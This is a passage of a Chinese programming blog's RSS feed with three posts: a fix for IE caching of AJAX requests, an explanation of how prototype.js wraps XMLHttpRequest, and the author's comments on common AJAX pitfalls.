		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>做一个项目用到Ajax,开始觉得挺好，后来发现一个问题，例如删除一项，恢复之后就不能再接着删除，必须要等一段时间，后来知道是IE缓存的问题。 　　AJAX缓存页面是一个刚接触AJAX的人一定会遇到的问题，造成这个问题的关键性人物又是IE&#8230; 　　在网上找了好多资料后，总结一下 　　1:在AJAX请求的页面后加个随机函数,我们可以使用随机时间函数 　　在javascript发送的URL后加上t=Math.random() ，当然，不是直接把t=Math.random()拷贝到URL后面,应该像这样:URL+”&#038;”+”t=”+Math.random(); 　　2:在XMLHttpRequest发送请求之前加上XMLHttpRequest.setRequestHeader(“If-Modified-Since”,”0&#8243;) 　　一般情况下,这里的XMLHttpRequest不会直接使用，你应该可以找到这样的代码 XXXXX.send(YYYYYY); 　　那么,就把它变成 XXXXX.setRequestHeader(“If-Modified-Since”,”0&#8243;); XXXXX.send(YYYYYY); 　　第二种方法感觉挺好。 相关博文2010年07月26日 -- Ajax的工作原理 (1)2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- AJAX的各种控件和类库 (0)2010年07月26日 -- XMLHTTP对象封装技术 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- ajax的缺点 (0)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年07月26日 -- 了解Ajax中的Get和Post (0)2010年05月23日 -- mysql优化及全文搜索 (0)2010年05月23日 -- 图片轮换类，IE7、OP、FF、Chrome测试通过 (2)2010年05月23日 -- 《高性能网站建设指南》读书笔记 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月28日 -- Webshell下破解计算机管理员密码 [...]]]></description>
			<content:encoded><![CDATA[<p>做一个项目用到Ajax,开始觉得挺好，后来发现一个问题，例如删除一项，恢复之后就不能再接着删除，必须要等一段时间，后来知道是IE缓存的问题。</p>
<p>　　AJAX缓存页面是一个刚接触AJAX的人一定会遇到的问题，造成这个问题的关键性人物又是IE&#8230; </p>
<p>　　在网上找了好多资料后，总结一下 </p>
<p>　　1:在AJAX请求的页面后加个随机函数,我们可以使用随机时间函数 </p>
<p>　　在javascript发送的URL后加上t=Math.random() ，当然，不是直接把t=Math.random()拷贝到URL后面,应该像这样:<a href="http://www.5bay.cn/tag/url" class="st_tag internal_tag" rel="tag" title="标签 url 下的日志">URL</a>+”&#038;”+”t=”+Math.random(); </p>
<p>　　2:在XMLHttpRequest发送请求之前加上XMLHttpRequest.setRequestHeader(“If-Modified-Since”,”0&#8243;) </p>
<p>　　一般情况下,这里的XMLHttpRequest不会直接使用，你应该可以找到这样的代码</p>
<p>XXXXX.send(YYYYYY); </p>
<p>　　那么,就把它变成 </p>
<p>XXXXX.setRequestHeader(“If-Modified-Since”,”0&#8243;);<br />
XXXXX.send(YYYYYY); </p>
<p>　　第二种方法感觉挺好。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeetpit.html" title="了解Ajax中的Get和Post ">了解Ajax中的Get和Post </a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html" title="图片轮换类，IE7、OP、FF、Chrome测试通过">图片轮换类，IE7、OP、FF、Chrome测试通过</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/xml" title="xml" rel="tag">xml</a>, <a href="http://www.5bay.cn/tag/xmlhttp" title="xmlhttp" rel="tag">xmlhttp</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XMLHTTP对象封装技术</title>
		<link>http://www.5bay.cn/network-programming/xmlhttpe.html</link>
		<comments>http://www.5bay.cn/network-programming/xmlhttpe.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:43:39 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xmlhttp]]></category>
		<category><![CDATA[中文]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[初始值]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[对象]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[获取]]></category>
		<category><![CDATA[表单]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=470</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/xmlhttpe.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Ajax技术的实现主要依赖于xmlhttprequest，但我们在调用其来进行异步数据的传输时，由于xmlhttp是个短线过程（处理事件完成后就销毁）如果不对该对象进行包装处理的话，就不得不在需要调用的地方重新构建xmlhttprequest，每次调用都要写一大段的代码，实在不是个好办法。好在现在很多开源的ajax框架都提供了对xmlhttp封装的方案。这里以ajaxtags自带的prototype-1.4.0.js为母版，来看看如何将xmlhttp对象封装成一个可复用的方法。 在prototype.js中，首先定义了一个变量：Ajax var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject(&#8216;Msxml2.XMLHTTP&#8217;)}, function() {return new ActiveXObject(&#8216;Microsoft.XMLHTTP&#8217;)}, function() {return new XMLHttpRequest()} ) &#124;&#124; false; }, activeRequestCount: 0 } 变量返回了一个xmlhttprequest，可以看到，如果我们调用了Ajax.getTransport()，每次都会返回一个新的xmlhttprequest对象。 在Ajax变量中定义了一个基础方法Ajax.Base和该基础方法的原型（初始时，每个脚本方法默认都有个空的原型，该原型会继承Object的原型，如果我们在Object中改变了原型，则所有的脚本方法都会被改变。） 该基础方法被Ajax.Request所继承，注意的是，如果在Ajax.Request中填充了继承的原型的同名方法或变量，则会实现重载。 Ajax.Base原型中最主要的是setOptions方法，过会我们就会用到。 setOptions: function(options) { this.options = { method: &#8216;post&#8217;, asynchronous: true, parameters: ” } prototype中对request是通过定义Ajax.Request原型（Ajax.Request.prototype）来实现的。 但我们并不能直接对Ajax.Request进行调用，主要原因是Ajax.Request并没有提供一个统一处理的过程。而且我们可能需要通过request 再取得response。（试想一下，客户那边发出一条信息，都始终没与收到回复，那是会让人觉得很恼火的事~），prototype同样为我们封装好了resoponse（Ajax.Responders），但两者都是相互独立的，如何把他们进行整合呢？ 在 prototype中给我们提供了两个方案，一个是Ajax.Updater，另一个是Ajax.PeriodicalUpdater，两个共同点都是必须传入3个参数： container： response数据要传达的位置，该位置通过html标签的id进行定义，比如你要把返回的数据输出到html中的某个＜div＞中，则只要把container改成该id的值就可以了。如果找不到该container，则会发生脚本错误。 url： [...]]]></description>
			<content:encoded><![CDATA[<p>Ajax技术的实现主要依赖于xmlhttprequest，但我们在调用其来进行异步数据的传输时，由于xmlhttp是个短线过程（处理事件完成后就销毁）如果不对该对象进行包装处理的话，就不得不在需要调用的地方重新构建xmlhttprequest，每次调用都要写一大段的代码，实在不是个好办法。好在现在很多开源的ajax框架都提供了对xmlhttp封装的方案。这里以ajaxtags自带的prototype-1.4.0.js为母版，来看看如何将xmlhttp对象封装成一个可复用的方法。</p>
<p>在prototype.js中，首先定义了一个变量：<a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">Ajax</a><br />
var Ajax = {<br />
getTransport: function() {<br />
return Try.these(<br />
function() {return new ActiveXObject(&#8216;Msxml2.XMLHTTP&#8217;)},<br />
function() {return new ActiveXObject(&#8216;Microsoft.XMLHTTP&#8217;)},<br />
function() {return new XMLHttpRequest()}<br />
) || false;<br />
},</p>
<p>activeRequestCount: 0<br />
}</p>
<p>变量返回了一个xmlhttprequest，可以看到，如果我们调用了Ajax.getTransport()，每次都会返回一个新的xmlhttprequest对象。<br />
<span id="more-470"></span><br />
在Ajax变量中定义了一个基础方法Ajax.Base和该基础方法的原型（初始时，每个脚本方法默认都有个空的原型，该原型会继承Object的原型，如果我们在Object中改变了原型，则所有的脚本方法都会被改变。） 该基础方法被Ajax.Request所继承，注意的是，如果在Ajax.Request中填充了继承的原型的同名方法或变量，则会实现重载。</p>
<p>Ajax.Base原型中最主要的是setOptions方法，过会我们就会用到。<br />
setOptions: function(options) {<br />
this.options = {<br />
method: &#8216;post&#8217;,<br />
asynchronous: true,<br />
parameters: ”<br />
}</p>
<p>prototype中对request是通过定义Ajax.Request原型（Ajax.Request.prototype）来实现的。</p>
<p>但我们并不能直接对Ajax.Request进行调用，主要原因是Ajax.Request并没有提供一个统一处理的过程。而且我们可能需要通过request 再取得response。（试想一下，客户那边发出一条信息，都始终没与收到回复，那是会让人觉得很恼火的事~），prototype同样为我们封装好了resoponse（Ajax.Responders），但两者都是相互独立的，如何把他们进行整合呢？</p>
<p>在 prototype中给我们提供了两个方案，一个是Ajax.Updater，另一个是Ajax.PeriodicalUpdater，两个共同点都是必须传入3个参数：</p>
<p>container：</p>
<p>response数据要传达的位置，该位置通过html标签的id进行定义，比如你要把返回的数据输出到html中的某个＜div＞中，则只要把container改成该id的值就可以了。如果找不到该container，则会发生脚本错误。</p>
<p>url：</p>
<p>request请求要传递的目的地。该目的地应该是个servlet或jspservlet，因为request对象只能被servlet中的do***方法自动获取。</p>
<p>options：</p>
<p>结构应该与上面Ajax.Base定义的setOptions（）中的option结构相同，如果为空或不写，则采用 Ajax.Base定义的初始值（没有传递任何参数时使用）。</p>
<p>两者的区别在与Ajax.Updater返回给container的是完整的responseText，只有在responseText完全取得又没发生异常时才会把内容写到container里面，而PeriodicalUpdater在获取responseText时，不管是否已经完整取得，就把内容填进container，直到发生异常或完全取得responseText。大多数情况应该使用第一种方法，因为第一种方法在发生异常时会把异常信息显示在container里面，而第二种就不一定了。</p>
<p>既然已经把xmlhttp封装好了，我们只需要设置好前面所说的3个参数就可以了，要注意的是，设置options参数，一定要按照base中的options结构进行设置，如果我们使用post方法，还可以在opitons中设置postBody属性，把要传递的queryString 放到body中,一个使用post方法进行传递的脚本例子如下：</p>
<p>/*表单提交用post方法*/<br />
function doRequest(container,paraments,url){<br />
var options ={<br />
method: &#8216;post&#8217;,<br />
asynchronous: true,<br />
postBody: paraments<br />
};<br />
new Ajax.Updater(container,url,options);<br />
}</p>
<p>最后不得不说的是中文编码问题，prototype对传递的参数都进行了编码转换工作，每个传递值通过encodeURIComponent　进行了处理．编码会被转换成utf－8，在后台获取request时，应该统一使用request.setCharacterEncoding(“UTF-8&#8243;)对request设置编码，而不必管页面的编码格式是什么．如果使用post方法进行传递数据，则会自动执行:</p>
<p>request．setHeader(&#8216;Content-type&#8217;,'application/x-www-form-urlencoded&#8217;).确保传递数据编码格式的正确.</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html" title="AJAX初学:IE缓存页面的问题">AJAX初学:IE缓存页面的问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeetpit.html" title="了解Ajax中的Get和Post ">了解Ajax中的Get和Post </a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/xml" title="xml" rel="tag">xml</a>, <a href="http://www.5bay.cn/tag/xmlhttp" title="xmlhttp" rel="tag">xmlhttp</a>, <a href="http://www.5bay.cn/tag/%E4%B8%AD%E6%96%87" title="中文" rel="tag">中文</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%88%9D%E5%A7%8B%E5%80%BC" title="初始值" rel="tag">初始值</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%AF%B9%E8%B1%A1" title="对象" rel="tag">对象</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%8E%B7%E5%8F%96" title="获取" rel="tag">获取</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8%E5%8D%95" title="表单" rel="tag">表单</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/xmlhttpe.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ajax的缺点</title>
		<link>http://www.5bay.cn/network-programming/ajaxxuan.html</link>
		<comments>http://www.5bay.cn/network-programming/ajaxxuan.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:41:11 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[可用性]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[收藏]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[自身]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=466</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxxuan.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>下面是我对一部分缺陷的看法： 为Ajax而Ajax(Using Ajax for the sake of Ajax.) 很同意这点，当一个技术本身的生存意义由于它自身的亮点而被抹杀，不知道是这个技术的幸运还是不幸。 干掉了back按钮(Breaking the back button) back按钮是一个标准的web站点UI的重要功能。然后，后退按钮没法和js很好的合作…… gmail似乎作的很好？不过没去仔细看过gmail如何实现后退和js相容的，被这个mistake一提醒，也许这也是ue的一个切口哦。 点击的时候没有提供一个可视化的提示(Not giving immediate visual cues for clicking widgets) ……也许是我没看懂，觉得写这段的人自相矛盾。。他说没提供可视化提示，不过是拿gmail右上角的红色提示作为例子。 阻挡了离线用户于门外(Leaving offline people behind) 看标题就清楚了，不过我持保留意见，web application和离线浏览本身似乎就存在着矛盾，要整合，可能要动很多脑子 别让我等(Don’t make me wait) 不过，ajax本身就存在着如果客户端的带宽不够，它的展示就会一塌糊涂的问题，这是它的先天缺陷，也是它崛起的先天因素－－由于网速和带宽的不断增大，使得服务端与客户端的频繁通信成为可能。 显式的传递敏感信息(Sending sensitive information in the clear) 使用js传递数据，本身似乎就存在着这个风险，在我找到反对意见之前，我倾向认同这点－－https协议除外。 假设ajax发展是一个单平台的发展。(Assuming AJAX development is single platform development) 作者文中的观点是ajax由于必须兼容多个浏览器，而没法做到只需要编码到标准的js就行，还要考虑到各个浏览器的问题……这个是js的问题，和ajax关系不大吧？ 忘掉了可能多人在同时使用同一个应用(Forgetting that multiple people might [...]]]></description>
			<content:encoded><![CDATA[<p>下面是我对一部分缺陷的看法：</p>
<p>为Ajax而Ajax(Using Ajax for the sake of Ajax.)</p>
<p>很同意这点，当一个技术本身的生存意义由于它自身的亮点而被抹杀，不知道是这个技术的幸运还是不幸。</p>
<p>干掉了back按钮(Breaking the back button)</p>
<p>back按钮是一个标准的web站点UI的重要功能。然后，后退按钮没法和js很好的合作……<br />
gmail似乎作的很好？不过没去仔细看过gmail如何实现后退和js相容的，被这个mistake一提醒，也许这也是ue的一个切口哦。</p>
<p>点击的时候没有提供一个可视化的提示(Not giving immediate visual cues for clicking widgets)</p>
<p>……也许是我没看懂，觉得写这段的人自相矛盾。。他说没提供可视化提示，不过是拿gmail右上角的红色提示作为例子。<span id="more-466"></span></p>
<p>阻挡了离线用户于门外(Leaving offline people behind)</p>
<p>看标题就清楚了，不过我持保留意见，web application和离线浏览本身似乎就存在着矛盾，要整合，可能要动很多脑子</p>
<p>别让我等(Don’t make me wait)</p>
<p>不过，ajax本身就存在着如果客户端的带宽不够，它的展示就会一塌糊涂的问题，这是它的先天缺陷，也是它崛起的先天因素－－由于网速和带宽的不断增大，使得服务端与客户端的频繁通信成为可能。</p>
<p>显式的传递敏感信息(Sending sensitive information in the clear)</p>
<p>使用js传递数据，本身似乎就存在着这个风险，在我找到反对意见之前，我倾向认同这点－－https协议除外。</p>
<p>假设ajax发展是一个单平台的发展。(Assuming AJAX development is single platform development)</p>
<p>作者文中的观点是ajax由于必须兼容多个浏览器，而没法做到只需要编码到标准的js就行，还要考虑到各个浏览器的问题……这个是js的问题，和ajax关系不大吧？</p>
<p>忘掉了可能多人在同时使用同一个应用(Forgetting that multiple people might be using the same application at the same time)</p>
<p>嗯，这其实是一个同步的问题，在b/s系统中这是一个麻烦的问题……当然，也许并不麻烦，做一个标记位就解决了吧？</p>
<p>太多代码让浏览器慢下来(Too much code makes the browser slow)</p>
<p>呃……同意这点，虽然在代码优化之后会有很大改善，但js本身运行速度慢这个缺陷还是会成为一个瓶颈。</p>
<p>不计划要那些禁用或者没有js的用户(Not having a plan for those who do not enable or have <a href="http://www.5bay.cn/tag/javascript" class="st_tag internal_tag" rel="tag" title="标签 javascript 下的日志">JavaScript</a>)</p>
<p>呃……我在页面上用ajax的时候就准备放弃这些用户了，我没google那么闲，作两套系统，一套用ajax，一套纯页面。不过养成一个良好的编码习惯还是有必要，比如在超链接中不要直接设置href=”javascript:&#8230;”而使用onmouseup或者onclick来触发事件，偶尔也为别人考虑考虑嘛，而且我也不能保证我的js程序在所有的浏览器上通吃。</p>
<p>不期然的页面闪烁和改变(Blinking and changing parts of the page unexpectedly)</p>
<p>我没经历过以前网页中blink标签的骚扰，所以我对作者的反感有点摸不着头脑，我觉得在适当的提示之后刷新某块页面总比整个页面的刷新看起来舒服。</p>
<p>没法把超链接发给朋友以及收藏(Not using links I can pass to friends or bookmark)</p>
<p>嘿嘿，这就是我上面提及的那点，如果编码习惯够好－－而且时间够多，在超链接中为非js用户和js用户提供两套方案是可行的。</p>
<p>同步导致的批量操作(Asynchronously performing batch operations)</p>
<p>作者的意思是说ajax一次性把原来要分几次作的操作一次做掉，而导致他没法跟踪每个元素变化，没法回溯，呃……也许是有这种需求吧。。不过似乎也是可以解决的吧？</p>
<p>导致页面滚动并让我迷失位置（Scrolling the page and making me lose my place）</p>
<p>作者认为插入文本到一个页面中会导致页面发生滚动，并让其迷失方向，我没看过这么恶心的效果，没法评价，不过我对于一些ajax的导航作的不好表示不满意，我经常会迷失于一些ajax程序中而不知道我刚才上一步到了哪里……</p>
<p>发明了新的UI习惯（Inventing new UI conventions）</p>
<p>呵呵，作者用了一句话来描述这个缺点：“点击一个不明显的东东来产生一个不明显的结果”。这个归纳倒是满准确的，在很多ajax程序中，用户完全是作为一个瞎子，在抖抖索索的摸着这个ajax程序大象，在到处瞎点一气并瞎拖一气之后才掌握这个程序的用法。但是换个角度来说，最开始的web页面不也是一样？没有开始的困难接触，不会有之后的进步，只要有足够的帮助，上手任何东西都应该不会太难－－除非这东西本来就不想让人觉得好用，那就是其它的问题了。</p>
<p>阻止了爬虫（Blocking Spidering）</p>
<p>同意这点，我在犹豫着使用ajax的时候，就在考虑爬虫对js的不感冒，以及爬虫该如何理解我那些以奇怪方式加载的页面，去解析ajax库似乎是一个不可能的事情，爬虫又不是人脑，如果爬虫可以媲美人脑，那就是《骇客帝国4》了。</p>
<p>字符集（Character Sets）</p>
<p>ajax本身对字符集的支持比较缺失，这个这个……设置成utf-8吧，不过作者最后也是这么说的。</p>
<p>使用超链接改变状态（Changing state with links (GET requests)）</p>
<p>作者认为主流的ajax应用程序都是用get方式来工作，而这违反了W3对GET和POST方法的使用建议……我少见多怪，主流的ajax应用程序我没怎么去看，不知道是不是真的都用get，虽然ajax编码用get简单，但不表示ajax不能用post吧？</p>
<p>没有连带改变页面中其它相关部分（Not cascading local changes to other parts of the page）</p>
<p>因为ajax让人很容易控制页面中的特定部分，所以也容易导致过于关注某个点而失去对整体布局的关注。嗯嗯……这是编码的问题，表怪到ajax头上。</p>
<p>问题报告（Problem reporting）</p>
<p>作者认为服务端的程序错误，很容易再现并捕捉，而客户端的错误要重现就比较麻烦，嗯，支持这点，不过还是和ajax关系不大……</p>
<p>投资回报(Return on Investment)</p>
<p>作者认为ajax能够提升应用程序的可用性，但是富客户端程序并不会比纯html版本好多少……忽略这个观点，来人，把作者拖出去，账责五十</p>
<p>拙劣地模仿浏览器页面跳转行为（Mimicing browser page navigation behavior imperfectly）</p>
<p>……忽略，没看到作者所描述的情况。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a 